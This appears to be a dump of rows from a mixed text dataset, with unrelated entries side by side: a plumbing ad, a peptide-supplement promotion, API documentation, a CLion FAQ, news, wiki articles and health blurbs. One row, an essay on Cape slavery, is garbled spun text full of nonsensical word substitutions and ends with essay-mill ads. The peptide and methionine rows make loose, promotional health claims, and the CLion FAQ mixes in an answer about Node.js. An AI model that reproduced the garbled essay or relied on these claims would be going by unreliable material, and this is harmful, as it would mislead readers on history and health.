Document stringlengths 87 1.67M | Source stringclasses 5 values |
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Sewer Line Excavation: Signs That Call for Immediate Action
Your property’s sewer lines are essential for maintaining a sanitary and properly functioning home. However, over time, damage, decay, or other issues may necessitate the need for sewer line excavation. Understanding and identifying the signs of a failing sewer line is crucial in preventing extensive property damage and costly repairs. This article explores the top signs that it’s time to consider sewer line excavation to protect your home and property.
D&F Plumbing, Heating and Cooling, a leading provider of plumbing, heating, and cooling services in Portland, OR, and surrounding areas, is an expert at addressing sewer line issues. Our knowledgeable team will guide you through the sewer excavation process, ensuring minimal disruption and the most efficient solutions. By recognizing the problems early, D&F Plumbing, Heating and Cooling can help you avoid the potential consequences of ignoring a faulty sewer line. Read on to learn the signs that it’s time to act and how D&F Plumbing, Heating and Cooling’s excavation services can restore your property’s health.
Recognizing the Warning Signs
1. Frequent Drain Clogs and Slow Drains:
If you’re experiencing frequent drain backups or slow drains throughout your property, it may be an indication of a blockage or damage in your sewer line. Slow drains can be attributed to a buildup of debris, grease, or tree roots, but if multiple drains are affected, it’s more likely that the issue lies in the main sewer line.
2. Sewage Odors:
Unpleasant sewage odors wafting around your home or yard are often a clear sign that your sewer line may be compromised. These odors typically indicate either a blockage in the main sewer line or damage that allows sewer gas to escape. Addressing the issue as soon as posible can prevent health hazards and further damage to your property.
3. Mold and Mildew Growth:
Persistent mold or mildew growth in your home, particularly around pipes and fixtures, can be a sign that your sewer line is compromised. Sewer line leaks result in increased humidity and provide the perfect environment for mold growth. If left untreated, mold can lead to various health issues and damage your property’s structure.
4. Sewage Backup or Gurgling Toilets:
Sewage backup in your toilets or drains is a strong indication that your sewer line may be blocked or damaged, necessitating excavation. Not only is this scenario unhygienic, but it can also cause extensive damage to your home. Gurgling or bubbling sounds accompanying toilet flushes can also signal an issue with your sewer line.
Read Also: Warnings There is a Problem With Your Main Sewer Line
Understanding the Causes of Sewer Line Damage
1. Tree Roots:
One of the leading causes of sewer line damage is tree root infiltration, whereby roots grow and penetrate the pipes in search of water. Over time, the roots can cause widespread damage, leading to blockages and potential sewer line collapse.
2. Corrosion and Deterioration:
Sewer lines, particularly those made of cast iron or clay, can corrode or deteriorate over time. Consequently, weak spots may develop, leading to leaks, collapses, or other issues that require sewer line excavation to resolve.
3. Ground Movement and Soil Conditions:
Extreme ground movements, such as earthquakes or heavy construction near your property, can cause sewer lines to shift or break. Additionally, certain soil types can encourage pipe corrosion, leading to damage that necessitates excavation.
4. Older Sewer Lines:
Older properties with original sewer lines may be more prone to damage, necessitating excavation. These older materials were often not as durable as modern ones, leaving them more susceptible to decay, collapse, or root infiltration.
Sewer Line Excavation Process
1. Inspection:
Before any excavating work begins, a thorough inspection of your sewer line is necessary to identify the issue’s exact source and scope. This process typically involves using a sewer camera to visually assess the damage and determine the severity, which helps inform the best course of action.
2. Marking Utility Lines:
Before excavation, existing utility lines must be located and marked to avoid damage during the digging process. This step helps protect against potential gas line leakage, electrical shock, or other hazards that could result from accidentally hitting a utility line.
3. Excavation:
Once the damage has been assessed and utility lines are marked, a professional team will begin excavating the area around the damaged sewer line. This requires carefully digging and removing soil or concrete mass to expose the compromised section of piping.
4. Repair or Replacement:
Depending on the inspection results, the damaged sewer line may need to be repaired or replaced entirely. Localized damage can be repaired, while more widespread damage may require complete pipeline replacement.
Read Also: Expert Commercial Sewer Camera Inspection Services with D&F Plumbing, Heating and Cooling
5. Backfilling and Restoration:
After the damaged section has been repaired or replaced, the excavated area is carefully backfilled with soil and compacted to ensure stability. Finally, any removed landscaping, asphalt, or concrete will be restored, returning your property to its pre-excavation state.
Preventative Maintenance for Sewer Lines
While sewer line excavation may not always be preventable, proper maintenance can mitigate potential damage and prolong the life of your sewer system:
1. Schedule Regular Inspections:
Having your sewer line inspected by a professional on a regular basis will help identify any potential problems or damage before they escalate. Early detection and intervention can help minimize repair costs and avoid the need for excavation.
2. Be Mindful of What Goes Down the Drain:
To prevent blockages and potential sewer line damage, be cautious of what you dispose of down your drains. Avoid rinsing grease, oils, and food particles down kitchen sinks and refraining from flushing items, like wipes or feminine products, down the toilet.
3. Maintain the Trees on Your Property:
Regularly trim and maintain trees near your sewer line to minimize root intrusion. Consider planting only slow-growing trees or shrubs near sewer pipes to reduce the likelihood of future root infiltration.
By following these preventative measures and seeking professional assistance when signs of sewer line damage arise, you can protect your property and save money on costly repairs.
Choose D&F Plumbing, Heating and Cooling for Your Sewer Line Excavation Needs
Recognizing the signs of sewer line damage and seeking timely professional intervention is crucial to protect your property from the potential impacts of a failing sewer system. D&F Plumbing, Heating and Cooling in Portland, OR, and surrounding areas are experts in sewer line excavation, ensuring efficient, accurate, and safe solutions for all your plumbing needs.
Don’t wait for sewer line issues to escalate; choose the trusted professionals at D&F Plumbing, Heating and Cooling for an accurate assessment, expert guidance, and superior service on all sewer line excavation projects. Backed by decades of experience, our team will work diligently to restore your sewer line’s health and preserve your property’s integrity. Contact us today to schedule an inspection!
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The Importance of Peptide Supplementation for Muscle Building
The Importance of Peptide Supplementation for Muscle Building 1
Categories:
The Science of Peptides
When it comes to building muscle, many people turn to supplements to help them achieve their goals. One such supplement that has gained popularity in recent years is peptides. Peptides are short chains of amino acids, which are the building blocks of protein. They play a crucial role in various biological processes, including muscle growth and repair. Interested in further exploring the topic discussed in this article? Steroids Thailand, filled with additional and valuable information to supplement your reading.
Peptides work by stimulating the release of growth hormone in the body. Growth hormone is responsible for promoting tissue growth, including muscle growth. By increasing growth hormone levels, peptides can enhance muscle protein synthesis, leading to increased muscle mass and strength.
The Benefits of Peptide Supplementation
Peptide supplementation offers several benefits for muscle building. Firstly, peptides can help to optimize muscle recovery and repair. After intense exercise, muscle tissue experiences micro-tears. Peptides can facilitate the repair of these damaged muscle fibers, leading to faster recovery and reduced muscle soreness.
The Importance of Peptide Supplementation for Muscle Building 2
In addition to promoting muscle recovery, peptides can also aid in increasing muscle mass. By stimulating muscle protein synthesis, peptides provide the necessary building blocks for muscle growth. This can result in increased muscle size and strength over time.
Furthermore, peptides can improve athletic performance by enhancing endurance and reducing fatigue. Increased muscle mass and improved muscle recovery contribute to greater stamina and resistance to fatigue during exercise.
The Different Types of Peptides
There are several types of peptides that are commonly used for muscle building. One popular type is growth hormone releasing peptides (GHRPs). GHRPs work by stimulating the production and release of growth hormone from the pituitary gland.
Another type of peptide is the insulin-like growth factor (IGF-1). IGF-1 is a hormone that is similar in structure to insulin. It promotes the growth and repair of various tissues, including muscle tissue.
Besides GHRPs and IGF-1, there are also specific peptides that target muscle tissue directly, such as the myostatin inhibitors. Myostatin is a protein that limits muscle growth. By inhibiting myostatin, these peptides can unlock the full potential of muscle growth.
How to Incorporate Peptide Supplementation into Your Muscle Building Routine
If you are interested in incorporating peptide supplementation into your muscle building routine, it is important to consult with a healthcare professional or a qualified trainer. They can provide guidance on the appropriate dosage and timing for your specific goals.
In addition to peptide supplementation, it is essential to maintain a balanced diet and engage in regular exercise. Peptides are a supplement and should not replace a healthy lifestyle. By combining proper nutrition, regular exercise, and peptide supplementation, you can maximize the benefits for muscle building.
Conclusion
The science behind peptide supplementation for muscle building is promising. Peptides offer a range of benefits, including increased muscle mass, improved muscle recovery, and enhanced athletic performance. However, it is crucial to approach peptide supplementation with caution and consult with a healthcare professional. By incorporating peptides into a well-rounded muscle building routine, individuals can optimize their results and achieve their fitness goals. Don’t miss out on this valuable external content we’ve prepared for you. Explore it to gain further knowledge about the topic and discover novel aspects. Learn from this informative research, broaden your understanding of the topic.
Discover other perspectives by visiting the related posts. Enjoy your reading:
Investigate this informative guide
Discover this helpful study
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Dataset Information
0
Studies on the Enantioselective Iminium Ion Trapping of Radicals Triggered by an Electron-Relay Mechanism.
ABSTRACT: A combination of electrochemical, spectroscopic, computational, and kinetic studies has been used to elucidate the key mechanistic aspects of the previously reported enantioselective iminium ion trapping of photochemically generated carbon-centered radicals. The process, which provides a direct way to forge quaternary stereocenters with high fidelity, relies on the interplay of two distinct catalytic cycles: the aminocatalytic electron-relay system, which triggers the stereoselective radical trap upon iminium ion formation, and the photoredox cycle, which generates radicals under mild conditions. Critical to reaction development was the use of a chiral amine catalyst, bearing a redox-active carbazole unit, which could rapidly reduce the highly reactive and unstable intermediate generated upon radical interception. The carbazole unit, however, is also involved in another step of the electron-relay mechanism: the transiently generated carbazole radical cation acts as an oxidant to return the photocatalyst into the original state. By means of kinetic and spectroscopic studies, we have identified the last redox event as being the turnover-limiting step of the overall process. This mechanistic framework is corroborated by the linear correlation between the reaction rate and the reduction potential of the carbazole unit tethered to the aminocatalyst. The redox properties of the carbazole unit can thus be rationally tuned to improve catalytic activity. This knowledge may open a path for the mechanistically driven design of the next generation of electron-relay catalysts.
SUBMITTER: Bahamonde A
PROVIDER: S-EPMC5374491 | BioStudies | 2017-01-01
REPOSITORIES: biostudies
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1000-01-01 | S-EPMC6095928 | BioStudies
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2019-01-01 | S-EPMC6385223 | BioStudies
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2020-01-01 | S-EPMC6956250 | BioStudies
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1000-01-01 | S-EPMC6007200 | BioStudies
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2009-01-01 | S-EPMC2700017 | BioStudies | ESSENTIALAI-STEM |
Slaves in the mantle were more often than non a diverse group, and, due to the nature of the farms where they lived, were dispersed oer a large supernal orbit. The divisions among the break ones back community, such(prenominal) as origin, language and subjective hierarchies and fear of punishment meant that strivers did not successfully revolt against their owners. Many historians suck reported that Cape slaves were disadvantageously hard-boiled. Brutal descriptions of the way in which slaves were punished chase their attempts at running away abound. various(prenominal) slaves ran away from the caustic conditions on the farms and lived as fugitives. Most of them were caught: they were flogged, brand and sentenced to hard aim in chains. This brutal intercession was in part, employ to dissuade slaves from rebellion. Slaves were beaten often, as a constant varan of what would be the result of a rebellion. If a slave attacked his owners, he would be brutally treated. Many slave owners were rattling nervous and very aware of the fact that they were outnumbered by the slaves, and so would hold their controller by repeated trouncing and whipping of their slaves. Due to the tart conditions beneath which the slaves lived, spontaneous rebellion, born from foiling was the most parking down occurrence.
Constant harsh give-and-take would spark a reception to a particular situation, just this was not a widespread one, and there was little system of rules with regard a discharge revolt. Although many of the slaves were concentrated in and around the Cape, many of them from this neighborhood were better treated than those from that away. (So were less inclined to inwrought to revolt). Slaves from the agricultural regions inland were treated worse in general, they were isolated, and were unable to organize a revolt. The slaves were a diverse group of people, from several(prenominal) antithetical countries. Some... If you want to get a full essay, secernate it on our website: Ordercustompaper.com
If you want to get a full essay, wisit our page: write my paper | FINEWEB-EDU |
-- DPJ Frays Over Japan Sales Tax Legislation as Voting Looms
Prime Minister Yoshihiko Noda ’s
Democratic Party of Japan struggled to overcome internal
resistance to his bill to double the consumption tax ahead of a
lower house vote that may come as soon as tomorrow. Former DPJ leader Ichiro Ozawa said he will vote against
the bill to raise the five percent tax, risking possible
expulsion from the party. As head of the party’s largest
faction, Ozawa could take dozens of legislators with him. “I have no concrete plans to leave and form a new party,”
Ozawa told reporters in Tokyo , in remarks carried on NHK
Television. “After the vote, I will consult with my group and
want to select the best possible path.” The DPJ reached a deal last week with the main opposition
Liberal Democratic Party and a smaller group to double the tax
by 2015, a move Noda says is necessary to control record debt
and ballooning welfare costs. Should more than 50 Democrats vote
against the bill and be expelled, the ruling party could lose
its majority in the lower house. While LDP official Nobuteru Ishihara told reporters that
the parties agreed to aim for a lower house vote tomorrow, DPJ
legislator Koichi Takemasa later said a vote is unlikely until
June 26 at the earliest. Parliament voted this afternoon to extend the current
session, scheduled to end today, until Sept. 8. The bill would raise the tax to 8 percent in April 2014 and
to 10 percent in October 2015. The DPJ needs the cooperation of
the LDP to get legislation through the opposition-controlled
upper house. Political Career Noda, who has vowed to stake his political career on the
legislation, shelved many of his party’s pledges on social
security to gain opposition backing. Opponents of the plan,
which is unpopular with the public, say it is a breach of the
platform on which the Democrats swept to power in 2009, and
could fail in its aim of boosting tax revenue if it discourages
consumption. “Now is not the time to raise the sales tax . The Japanese
people do not want this,” DPJ lawmaker Hirosato Nakatsugawa
told a party gathering yesterday after Noda called for unity. A poll published in the Asahi newspaper on June 6 showed 56
percent of respondents opposed the sales tax bill, up from 51
percent a month earlier. To contact the reporters on this story:
Isabel Reynolds in Tokyo at
ireynolds1@bloomberg.net ;
Takashi Hirokawa in Tokyo at
thirokawa@bloomberg.net To contact the editor responsible for this story:
Peter Hirschberg at
phirschberg@bloomberg.net | NEWS-MULTISOURCE |
Values
All predictions in version 2 of the Sypht API return data structures we call Values. Values can be simple data structures representing a simple extraction, or they can be complex data structures representing collections of nested values.
Values are encoded as self-describing JSON objects. At minimum, an encoded Value will contain a key named "type". The corresponding value of this key tells the consumer how to parse the specific value. Below is a list of some common Value types.
bounds
A Value of type bounds represents the location of some extraction. It includes the page number, and the coordinates of two vertices—the top left and bottom right—that form a rectangle or bounding box enclosing the area represented by the value. An example:
{
"type": "bounds",
"pageNum": 1,
"topLeft": {
"x": 0.38,
"y": 0.36
},
"bottomRight": {
"x": 0.43,
"y": 0.37
}
}
The x and y coordinates are encoded as floating point numbers. These numbers are ratios relative to the size of the page. For example, if a page had a width of 900 pixels, an x value of 0.5 would refer to the absolute value of 450. Likewise, if a page had a height of 1200 pixels, a y value of 0.25 would refer to the absolute value of 300.
token
A Value of type tokens representing an extraction from a document that contains a single token (i.e. word or unit). It contains information such as the characters that make up the token (with or without white space), the location of the token on the page (via a nested encoded bounds Value), and the index of the token relative to the rest of the tokens in the document. The index is useful for creating an ordered list of tokens. Here is an example of an encoded token:
{
"type": "token",
"bounds": {
"type": "bounds",
"pageNum": 1,
"topLeft": {
"x": 0.38,
"y": 0.36
},
"bottomRight": {
"x": 0.43,
"y": 0.37
}
},
"text": "Recovery",
"textWithWhitespace": "Recovery ",
"pageTokenId": 82,
"tokenId": 82
},
Note that the value of the "bounds" key is just an encoded bounds Value as above. The pageTokenId is the index of the token relative to all the tokens on that particular page. The tokenId is the index of the token relative to all the tokens in the document.
tokens
A tokens value represents a sequence of tokens that form a single extraction. In their encoded form, they contain text, an encoded bounds and a list of encoded tokens. For example:
{
"type": "tokens",
"text": "ACME Holdings Inc.",
"bounds": {...},
"tokens": [
{
"type": "token",
"bounds": {...},
"text": "ACME",
"textWithWhitespace": "ACME ",
"pageTokenId": 13,
"tokenId": 13
},
...
]
}
entity
An entity value represents an Entity, and is the output of an entity match field prediction. An entity has an id, entity type, company_id, and data. These values are representations of the entity match reference data that were sent to Sypht via the entities API (see here for further information on entity matching and the entity API). Here is an example of an encoded entity:
{
"type": "entity",
"id": "07_101_0106_6_3",
"entity_type": "ndis-support-category",
"company_id": "9333c845-875b-47d7-bb35-0873770f23d5",
"data": {
"Registration_Group_Number": "106",
"Registration_Group_Name": "Assistance In Coordinating Or Managing Life Stages, Transitions And Supports",
"Support_Category_Number": "7",
"Support_Category_Name": "Support Coordination",
"Support_Item_Number": "07_101_0106_6_3",
"Support_Item_Name": "Psychosocial Recovery Coaching - Weekday Daytime",
"Unit": "H",
"Quote": "N",
"Price_Limit:_NT_-_SA_TAS-WA_(MMM_1-5)": null,
"Price_Limit:_ACT_-_NSW_QLD_-_VIC_(MMM_1-5)": null,
"Price_Limit:_National_Non-Remote_(MMM_1-5)": "$83.15",
"Price_Limit:_National_Remote_(MMM_6)": "$116.41",
"Price_Limit:_National_Very_Remote_(MMM_7)": "$124.73",
"Non-Face-to-Face_Support_Provision": "Y",
"Provider_Travel": "Y",
"Short_Notice_Cancellations.": "Y",
"NDIA_Requested_Reports": "N",
"Irregular_SIL_Supports": "N"
}
}
This is an entity of type ndis-support-category and has unique identifier 07_101_0106_6_3. It came from the Sypht company (9333c845-875b-47d7-bb35-0873770f23d5), and the included data has keys and values that describe this particular entity.
list
A list value is a generic ordered collection of values. Each item within the list is itself an encoded value. A list should contain items each of the same value type.
{
"type": "list",
"items": [
...
]
}
table
A Value of type table represents a prediction that has extracted a table from a document. An encoded table contains a list of columns:
{
"type": "table",
"columns": [
...
]
}
There are two types of columns that can be encoded: column, and derived-column.
column
A column of type column is a column whose data has been extracted directly from the document (as opposed to inferred or derived). Most columns fall into this class. A column has a category, header, and a list of cells. The category explains what category of column it is. This is especially useful for line-item extractions from invoices. The list of currently available line-item categories is:
• id
• date
• description
• quantity
• unitPrice
• tax
• subTotal
• total
• other
The header is an encoded "tokens" value identifying the tokens that make up the header of this column. The "cells" are a list of encoded values, the type of which depend on the column category. For example, a column with category "description" would contain cells each of value type "tokens". (Note: currently all columns regardless of category have cells of value type tokens. This could be improved by using "date" values for "date" columns, etc.). Here is an example of an encoded column:
{
"type": "column",
"category": "description",
"header": {
"type": "tokens",
"text": "NOTES",
"tokens": [...],
"bounds": {...}
}
"cells": [
{
"type": "tokens",
"text": "Recovery Coaching",
"tokens": [...],
"bounds": {...}
},
...
]
},
derived-column
A derived column is a column whose cells are not directly extracted from content in the document, but rather inferred. As such, a derived column does not contain a header. A common example is an entity-match column that has inferred an entity for each row in a table. In such a case, each cell would be an encoded value of type "entity":
{
"type": "derived-column",
"category": "supportCode",
"cells": [
{
"type": "entity",
"id": "07_101_0106_6_3",
"entity_type": "ndis-support-category",
"company_id": "9333c845-875b-47d7-bb35-0873770f23d5",
"data": {
"Registration_Group_Number": "106",
"Registration_Group_Name": "Assistance In Coordinating Or Managing Life Stages, Transitions And Supports",
"Support_Category_Number": "7",
"Support_Category_Name": "Support Coordination",
"Support_Item_Number": "07_101_0106_6_3",
"Support_Item_Name": "Psychosocial Recovery Coaching - Weekday Daytime",
"Unit": "H",
"Quote": "N",
"Price_Limit:_NT_-_SA_TAS-WA_(MMM_1-5)": null,
"Price_Limit:_ACT_-_NSW_QLD_-_VIC_(MMM_1-5)": null,
"Price_Limit:_National_Non-Remote_(MMM_1-5)": "$83.15",
"Price_Limit:_National_Remote_(MMM_6)": "$116.41",
"Price_Limit:_National_Very_Remote_(MMM_7)": "$124.73",
"Non-Face-to-Face_Support_Provision": "Y",
"Provider_Travel": "Y",
"Short_Notice_Cancellations.": "Y",
"NDIA_Requested_Reports": "N",
"Irregular_SIL_Supports": "N"
}
},
...
]
}
Last updated | ESSENTIALAI-STEM |
in
Where do you put CLion?
To run CLion, find it in the Windows Start menu or use the desktop shortcut. You can also run the launcher batch script or executable in the installation directory under bin.
In the same way, Is CLion better than Visual Studio code? CLion and Visual Studio Code are primarily classified as “Integrated Development Environment” and “Text Editor” tools respectively. “Good editor” is the primary reason why developers consider CLion over the competitors, whereas “Powerful multilanguage IDE” was stated as the key factor in picking Visual Studio Code.
How do I get CLion to run?
1. Add the ‘bin’ folder to the Path variable. …
2. Start CLion and go to ‘Settings’ either from the ‘Welcome Screen’ or from File -> Settings.
3. Select ‘Build, Execution, Deployment’ and then click on ‘Toolchains’
4. Your ‘Environment’ should show the correct path to your Cygwin installation directory (or MinGW)
Similarly, What is CLion used for? CLion is more than just an editor as it offers a powerful debugger and dynamic analysis tools to investigate and solve problems with ease, built-in Google Test, Boost. Test, Doctest and Catch for unit testing, many popular VCS supported out of the box and more.
Besides How do I run a project in CLion? Quick way
1. Click. in the gutter near the class declaration and select Run.
2. To run a script, open it in the editor or select it in the Project tool window, and then select Run <script file name> from the context menu. CLion creates a temporary run/debug configuration of the type Node. js.
Is eclipse better than CLion?
CLion rates 4.4/5 stars with 48 reviews. By contrast, Eclipse rates 4.2/5 stars with 2,514 reviews. Each product’s score is calculated with real-time data from verified user reviews, to help you make the best choice between these two options, and decide which one is best for your business needs.
How do I add a compiler to CLion?
In CLion, go to File | Settings | Build, Execution, Deployment | Toolchains and select the Visual Studio toolchain that you want to configure, or create a new one. Point the C Compiler and C++ Compiler fields to clang-cl.exe. CLion will suggest the paths detected automatically.
Does CLion come with ReSharper?
Short answer: no, it does not. A detailled comparison would be useful, though. I guess we can expect most Resharper features to be implemented in CLion eventually.
How do you build with CLion?
Open and create projects
1. Select File | Open and locate the project directory. This directory should contain a CMakeLists. txt file.
2. Select File | Open and point CLion to the top-level CMakeLists. txt file, then choose Open as Project.
3. Select File | Open and locate the CMakeCache. txt file, then choose Open as Project.
How do I run C files in CLion?
Show activity on this post.
1. install plugin inside CLion “C/C++ Single File Execution”
2. go to that file that you want to execute and right click then select last option i.e. add single executable single c/cpp file.
3. go to run option or press Alt + shift + f10 and select file that you want to run.
How do I run CPP in CLion?
Create a new project
1. Select New Project from the welcome screen.
2. Select “C++ Executable”, enter the desired location for your project, use C++11 as the language standard.
3. After the project initialization settles down, you should see a green triangle (▶) at the upper right corner to run the program.
How do I run C files on CLion?
Getting Started
1. Open source file (. c/. cpp) which you want to execute in editor.
2. Right click on editor and choose “Add executable for single c/cpp file”. That’s all! Plugin automatically insert add_executable() code in CMakeLists.txt.
3. You can build and run this source file from top-right icon or from menu bar.
Who makes CLion?
JetBrains has released CLion EAP, a new IntelliJ-based IDE for C and C++. The IDE comes with Code Completion, Code Generation (for constructors, getters/setters or methods), Intention Actions, Quick Fixes, Refactoring, Project Search and Code Navigation.
Is CLion good for C?
They are both really good. CLion is also available should you find yourself in a non-windows machine. However, if you want to learn C++, then in the beginning using any text editor will serve you better.
Is Eclipse good for C?
Eclipse is a popular open-source IDE that you can use to develop C++ applications using Eclipse’s C/C++ development tools. This IDE is multiplatform and can run on Windows, Linux, and macOS. It will allow you to debug and compile your code as well as get auto-completion for your code while editing.
Is clang better than GCC?
Clang is much faster and uses far less memory than GCC. Clang aims to provide extremely clear and concise diagnostics (error and warning messages), and includes support for expressive diagnostics. GCC’s warnings are sometimes acceptable, but are often confusing and it does not support expressive diagnostics.
How do I turn on ReSharper?
In the Visual Studio menu, choose ReSharper | Options. In the Options dialog that appears, select a node in the left pane and configure settings in the right pane.
Does ReSharper work with C++?
ReSharper by Language: C++ C++ support includes C, C++03, C++11, C++14, C++17, C++/CLI, and partially C++20. ATL, MFC and COM projects are supported. ReSharper detects C++ version automatically based on the platform toolset (General | Platform Toolset in the project properties) and/or on the /std switch.
What is CLion target?
Custom build targets are independent of any particular build system or project model: CLion uses external tools of your choice for building the sources and cleaning build artifacts. Custom targets are especially useful for compilation database projects.
What does Add_subdirectory do in CMake?
Add a subdirectory to the build. Adds a subdirectory to the build. The source_dir specifies the directory in which the source CMakeLists.
What compiler does CLion use?
CLion supports GCC and Clang compilers. This means that on Windows you can select between MinGW (or MinGW-W64) and Cygwin environments, Microsoft Visual C++ compiler (mind, the debugger is not available in this case) or Windows Subsystem for Linux toolchain.
How do I add a library to CLion?
Since CLion relies on CMake build system, you can do this with CMake commands. To add libraries to your project, use find_package (if you use separate libraries, for example, installed in the system) and target_link_libraries CMake commands.
Can you write C code in CLion?
In CLion, you can use GCC-based compilers, Clang, Clang-cl, Visual Studio C++ compiler, as well as IAR compiler and custom-defined compiler.
How do I run a single CPP file in CLion?
Show activity on this post.
1. install plugin inside CLion “C/C++ Single File Execution”
2. go to that file that you want to execute and right click then select last option i.e. add single executable single c/cpp file.
3. go to run option or press Alt + shift + f10 and select file that you want to run.
How do I run main CPP in CLion?
Create a new project
1. Select New Project from the welcome screen.
2. Select “C++ Executable”, enter the desired location for your project, use C++11 as the language standard.
3. After the project initialization settles down, you should see a green triangle (▶) at the upper right corner to run the program.
What do you think?
Why do people sell CoinList accounts?
How many Loopring coins are left? | ESSENTIALAI-STEM |
What makes a forest a tropical forest?
What makes a forest a tropical forest?
I’m a student International forest and nature management. And specializing on tropical forest, but what makes the difference between tropical forest and a normal forest? Basically a forest is tropical when it is between the Tropic of Cancer (Northern tropic) and the Tropic of Capricorn (Southern tropic). Of course this is not the only criteria to be classified as a tropical forest. But almost everything can be brought back to lying between this two tropics.
Climate in the tropical region
Tropical forest
Tropical forest around the equator
The tropical forest are appearing around the equator, there were the rainfall is really high. Also the temperature is higher than in our region. In the tropics the temperature will rarely drop below the 16 degrees Celsius! There is an almost consistent day temperature of 28-30 degrees Celsius. There is only a difference in temperature throughout the year, following the rainy and dry season.
The rainfall can be quit extreme. Not only the amount of rain is high but also the frequency. There is rarely a day without at least one shower, sometimes there are even up to 7 big shower in one day. Than you will probably understand how it is possible to have a precipitation of at least 2000 mm per year. Although in some parts of the tropics, especially a bit farther away from the equator. You can define dry and wet seasons, but even in the dry season there is some significant rainfall. To be identified as a tropical forest, you need an almost consistent amount of rainfall and temperature throughout the year.
Soil in a tropical forest
What is very typical for a tropical forest and also a problem. Is that the soil is fertile for just a very short time. Because of the high precipitation and the high temperature all the dead litter is decomposed in a quick time spam. And the nutrients in the soil are very vulnerable for leaching because of the amount of rainfall. Because of this vulnerability there is an really sufficient way of recycling inside of the ecosystem. All the nutrients are taking into the vegetation as soon as they have been released. Just to make sure that nothing gets lost.
This is a big problem when there is logging in the forest. When they remove to much timber in a short time period the forest cannot recover fast enough. So there will be an infertile and degraded land left.
Different types of tropical forest
We can divide the tropical forest in 3 categories, the criteria are the height, precipitation and temperature.
• Lowland rainforest
• Mountain rainforest
• Cloud forest
When there are changes in the precipitation or temperature but is between the tropics, then you can speak of:
• Monsoon forests
• Savannah forests
Forest outside of the tropics
coniferous forest
Coniferous forest
All the forest that appears outside of the tropics are not tropical forest and do have less criteria. We just divide it by deciduous forest, coniferous forest and mixed forest. Deciduous forest are forest for nutrients rich soils and cannot live with big temperature differences. It also wants to have regular rainfall. Although this will never be as high as in the tropics. Coniferous forest lives on the nutrient poorer soils. Can survive with more extreme temperatures and can live without rain for a period.
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User:Jcraig81272/test
Infamous Jake and The Pinstripe Mafia was a ska band from Amherst, Massachusetts that was around in the early to mid 2000's. They toured regularly all of the years that they were in existence but mainly played clubs and little concerts in the New England area. They finally disbanded around the end of 2006. The band consisted of seven members: Dan-vocals/trumpet, Ariel-bass/vocals, Matt-drums, Cory-guitar, Steve-alto sax, Zach-tenor sax, and Joe-Trombone. they have released one EP (Life is Good) and one CD (This Is The Beginning Of The End). According to their MySpace page they are "A band that will truely never be duplicated musically or replaced in the hearts and minds of their friends and fans." According to Purevolume.com Infamous Jake and the Pinstripe Mafia is "Punk, ska, and hardcore molded into a mess of horns, distortion, screams and chipmunks."
Touring
The band gained a larger fan base when they went on tour with a prominent Connecticut ska band "The Flaming Tsunamis" They played a lot of local gigs when they were first getting started including Ska Saturday at Danbury's Empress Ballroom, in 2002. They also played in a tribute concert for "Sublime" in 2006.
Life After Infamous Jake
The lead vocalist Dan, and the drummer Matt went on to form the band "The Modern Day Saint," and Matt also went on to form another band "La Guillotine."
Kill-Normal Records
Dan and Matt would join with two members, Andy and Ethan, of "The Flaming Tsunamis" to create Kill-Normal Records, which produced CD's for both "Infamous Jake and the Pinstripe Mafia" and "The Flaming Tsunamis", as well as other Ska bands from the New England area. These musical artist include such regionally famous bands as "Bottle Up & Go", "Call It Arson", "Stab You In The Head", They and The Children" and "Via Audio".
Recent News
While playing a show with his new band "The Modern Day Saint" a few days before Thanksgiving in 2004, Dan suffered a cardiac arrest and passed out on the floor. He was rushed to the emergency room where the paramedics had a hard time reviving him. He was in a coma for multiple weeks. In 2006, Asbestos Records released a benefit compilation for Dan, who was a friend of the record companies, after suffering the cardiac arrest.
Albums and Songs
Infamous Jake and the Pinstripe Mafia released two albums. The album "Life is Good" was a self released debut album. They also released the album "The Beginning of the End" under Kill Normal Records, in 2003. Their song "If Assholes Got Awards, I'd Have A Atrophy Case" was covered by the band Bomb The Music Industry. | WIKI |
Ancient Monuments Act 1931
The Ancient Monuments Act 1931 (21 & 22 Geo. 5. c. 16) was an act of the Parliament of the United Kingdom that aimed to improve the protection afforded to ancient monuments in Britain.
Details
The Ancient Monuments Protection Act 1882 had begun the process of establishing legal protection for some of Britain's ancient monuments; these had all been prehistoric sites, such as ancient tumuli. The Ancient Monuments Protection Act 1900 had continued this process, empowering the government's Commissioners of Works and local county councils to protect a wider range of properties. In 1908 a royal commission concluded that there were gaps between these two pieces of legislation, and the Ancient Monuments Protection Act 1910. These were felt to be unwieldy, and the Ancient Monuments Consolidation and Amendment Act 1913 repealed all three, replacing them with the new Ancient Monuments Board to oversee the protection of such monuments. Powers were given for the board, with parliamentary approval, to issue preservation orders and to protect the lands immediately around an ancient monument.
The Ancient Monuments Act 1931 was passed to deal with gaps in this system. In particular, the new act extended the definition of an ancient monument to include a cave or an underground archaeological artefact; it also extended the powers of the state to manage development in the area around an ancient monument, allowing them to introduce preservation schemes to protect the wider neighbourhood. | WIKI |
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What is methionine and how to avoid too much of it.
Methionine is an essential amino acid in humans and the precursor of other non-essential amino acids. Its antioxidant properties can help protect the body from damage caused by ionizing radiation. It may detoxify harmful substances in the body such as heavy metals and prevent liver damage from acetaminophen poisoning and help prevent fat deposits in our liver.
Numerous studies have reported however, that excessive methionine intake can induce dyslipidemia (elevated cholesterol or fats (lipids) in the blood), oxidative stress, hepatic lipid accumulation, and cardiovascular disease (Chaturvedi et al., 2016; Navik et al., 2021).
Consuming a methionine-restricted diet (MRD) has been found to induce reductions in body weight and liver fat deposition, enhance stress resistance, improve age-related diseases, and extending longevity (Gao et al., 2019; Longchamp et al., 2018; Ren et al., 2021).
Foods low in methioine include fruits, nuts, veggies, grains, and beans, whereas foods to avoid due to higher content of methionine and potential higher risk disease, include chicken, fish, milk, red meat, and eggs.
| ESSENTIALAI-STEM |
Mera Fauji Calling
Mera Fauji Calling is a 2021 Hindi-language action drama film written and directed by Aaryaan Saxena and produced by Vikram Singh and Ovez Shaikh under the banners of Running Horses Films and Ovez Productions. The film bankrolled by Jimmy Satish Asija, has ensemble which includes Sharman Joshi, Ranjha Vikram Singh, Bidita Bag, Mahi Soni, Mugdha Godse, Zarina Wahab, and Shishir Sharma. The film showcases the story of a soldier who sacrifices his life in an attack and the struggle of his family after the attack. Inspired by aftermath of 2019 Pulwama attack, it also explores the various aspects of the life of soldiers and the struggle of their families.
The film was released in cinemas on 11 March 2021.
Cast
* Sharman Joshi as Abhishek
* Vikram Singh as Rajveer Singh
* Bidita Bag as Sakshi Singh
* Mugdha Godse as Paridhi
